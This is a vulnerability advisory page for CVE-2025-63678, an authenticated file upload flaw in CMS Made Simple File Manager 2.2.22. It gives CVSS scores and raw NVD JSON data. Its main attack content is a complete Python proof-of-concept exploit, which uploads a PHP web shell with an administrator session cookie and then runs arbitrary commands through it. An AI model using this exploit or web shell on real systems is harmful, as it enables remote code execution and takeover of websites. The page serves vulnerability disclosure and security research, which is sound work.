Security Vulnerability Report
中文
CVE-2025-63678 CVSS 7.2 HIGH

CVE-2025-63678

Published: 2025-11-10 23:15:42
Last Modified: 2025-12-31 17:56:58

Description

An authenticated arbitrary file upload vulnerability in the /uploads/ endpoint of CMS Made Simple Foundation File Manager v2.2.22 allows attackers with Administrator privileges to execute arbitrary code via uploading a crafted PHP file.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cmsmadesimple:file_manager:2.2.22:*:*:*:*:*:*:* - VULNERABLE
CMS Made Simple Foundation File Manager v2.2.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63678 PoC - CMS Made Simple File Manager Arbitrary File Upload # Target: CMS Made Simple Foundation File Manager v2.2.22 # Author: Security Researcher # Note: Requires Administrator privileges def exploit(target_url, session_cookie, command): """ Exploit arbitrary file upload vulnerability in CMS Made Simple Upload malicious PHP file and execute commands """ upload_url = f"{target_url}/uploads/" # Create malicious PHP payload php_payload = f"<?php system($_GET['cmd']); ?>" # Prepare multipart form data files = { 'file': ('shell.php', php_payload, 'application/x-php') } headers = { 'Cookie': f'CMSmsphp={session_cookie}', 'X-Requested-With': 'XMLHttpRequest' } # Upload the malicious file try: response = requests.post(upload_url, files=files, headers=headers, timeout=10) if response.status_code == 200: # Extract uploaded file path from response uploaded_file = response.json().get('file_path', 'shell.php') shell_url = f"{target_url}/uploads/{uploaded_file}" # Execute command via uploaded shell exec_url = f"{shell_url}?cmd={command}" exec_response = requests.get(exec_url, timeout=10) return exec_response.text except Exception as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-63678.py <target_url> <session_cookie> <command>") print("Example: python cve-2025-63678.py http://target.com 'admin_session' 'id'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] cmd = sys.argv[3] result = exploit(target, cookie, cmd) print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63678", "sourceIdentifier": "[email protected]", "published": "2025-11-10T23:15:41.700", "lastModified": "2025-12-31T17:56:57.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated arbitrary file upload vulnerability in the /uploads/ endpoint of CMS Made Simple Foundation File Manager v2.2.22 allows attackers with Administrator privileges to execute arbitrary code via uploading a crafted PHP file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:L", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cmsmadesimple:file_manager:2.2.22:*:*:*:*:*:*:*", "matchCriteriaId": "7AAA68FA-7621-45BB-B446-C0932BC6BEF6"}]}]}], "references": [{"url": "https://github.com/kasiasok/raports/blob/main/CMSMS%202.2.22%20_%20Raport%20092025.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}